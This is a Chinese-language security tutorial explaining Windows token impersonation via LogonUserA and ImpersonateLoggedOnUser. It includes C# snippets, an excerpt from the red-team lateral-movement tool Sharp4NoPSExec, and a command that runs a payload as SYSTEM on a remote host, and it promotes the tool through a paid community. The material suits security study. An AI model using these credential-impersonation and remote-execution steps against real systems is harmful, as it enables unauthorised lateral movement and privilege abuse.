LogonUserA 和 ImpersonateLoggedOnUser 是强大的 Windows API,允许程序以指定用户的身份操作。攻击者利用这些函数可模拟合法用户权限,用于横向移动或访问敏感资源。
Sharp4NoPSExec.exe 便是一款利用 Windows API 提供的用户令牌登录与模拟功能,通过提供有效的凭据,在目标主机上执行指定的命令的红队工具。
Windows API 中 LogonUserA 函数用于验证用户的凭据,包含用户名、密码、域,并创建一个新的用户令牌 Token。该令牌可用于模拟用户权限或在当前进程中执行该用户上下文的操作,函数签名如下所示。
BOOL LogonUserA(
LPCSTR lpszUsername, // 用户名
LPCSTR lpszDomain, // 域名
LPCSTR lpszPassword, // 密码
DWORD dwLogonType, // 登录类型
DWORD dwLogonProvider, // 登录提供程序
PHANDLE phToken // 返回的用户令牌
);
dwLogonType参数的值,LOGON32_LOGON_INTERACTIVE 表示交互式登录。最终函数返回的 phToken 是用于后续用户模拟操作的关键句柄。
在 .NET 中使用 DllImport 特性将其从 advapi32.dll 动态链接库导入调用的方法如下所示。
[DllImport("advapi32.dll")]
public static extern bool LogonUserA(string lpszUsername, string lpszDomain, string lpszPassword, int dwLogonType, int dwLogonProvider, ref IntPtr phToken);
LogonUserA 是一个强大的 API,结合 ImpersonateLoggedOnUser 可以模拟目标用户的权限完整的控制台程序调用代码代码可参考如下。
using System;
using System.Runtime.InteropServices;
class Program
{
[DllImport("advapi32.dll", SetLastError = true)]
public static extern bool LogonUserA(
string lpszUsername,
string lpszDomain,
string lpszPassword,
int dwLogonType,
int dwLogonProvider,
ref IntPtr phToken);
static void Main(string[] args)
{
IntPtr tokenHandle = IntPtr.Zero;
// 示例用户名、密码、域名
string username = "testuser";
string password = "P@ssw0rd!";
string domain = "TESTDOMAIN";
// 调用 LogonUserA
bool isSuccess = LogonUserA(username, domain, password, 9, 0, ref tokenHandle);
if (isSuccess)
{
Console.WriteLine("LogonUserA 成功。用户令牌句柄: " + tokenHandle);
}
else
{
int errorCode = Marshal.GetLastWin32Error();
Console.WriteLine("LogonUserA 失败。错误代码: " + errorCode);
}
}
}
成功调用后,tokenHandle 包含用户的访问令牌,用于后续操作如模拟用户、访问受限资源等。
Windows API 中 ImpersonateLoggedOnUser 函数接收一个用户令牌,由LogonUserA返回,让调用线程模拟该用户的权限,函数签名如下所示。
BOOL ImpersonateLoggedOnUser(
HANDLE hToken // 用户令牌
);
调用线程可以在此模拟上下文中操作系统资源,直到调用 RevertToSelf 结束模拟,通常用于让进程或线程以指定用户的身份执行某些操作,例如访问受限的网络资源或文件系统。
在 .NET 中使用 DllImport 特性将其从 advapi32.dll 动态链接库导入调用的方法如下所示。
[DllImport("advapi32.dll", SetLastError = true)]
private static extern bool ImpersonateLoggedOnUser(IntPtr hToken);
参数hToken表示用户访问令牌的句柄,该句柄由 LogonUser 或类似函数,返回 true,表示当前线程已成功模拟目标用户。
Sharp4NoPSExec.exe 便是这样一款红队工具,利用 Windows API 提供的用户令牌登录与模拟功能在目标主机上执行指定的命令或程序,部分代码如下所示。
if (!string.IsNullOrEmpty(options.username) && !string.IsNullOrEmpty(options.password))
{
IntPtr phToken = IntPtr.Zero;
bool result = LogonUserA(options.username, options.domain, options.password, 9, 0, ref phToken);
if (!result)
{
Console.WriteLine("[!] LogonUser failed. Error: {0}", new Win32Exception(Marshal.GetLastWin32Error()).Message);
return;
}
result = ImpersonateLoggedOnUser(phToken);
if (!result)
{
Console.WriteLine("[!] ImpersonateLoggedOnUser failed. Error: {0}", new Win32Exception(Marshal.GetLastWin32Error()).Message);
return;
}
上述代码,利用凭据调用 LogonUserA 登录目标用户,获取令牌,调用 ImpersonateLoggedOnUser 模拟目标用户,使用模拟上下文执行网络操作或本地操作。
比如,启动目标主机上具有 SYSTEM 权限的记事本,具体命令如下所示。
Sharp4NoPSExec.exe --target=192.168.101.86 --payload="c:\windows\system32\cmd.exe /c notepad"
此命令将在目标主机上以高权限运行记事本程序,如下图所示。
综上,Sharp4NoPSExec.exe 是一款高效的横向移动工具,凭借其对 API 的调用,实现了高权限命令执行,文章涉及的工具已打包在星球,感兴趣的朋友可以加入自取。
从漏洞分析到安全攻防,我们涵盖了 .NET 安全各个关键方面,为您呈现最新、最全面的 .NET 安全知识,下面是公众号发布的精华文章集合,推荐大伙阅读!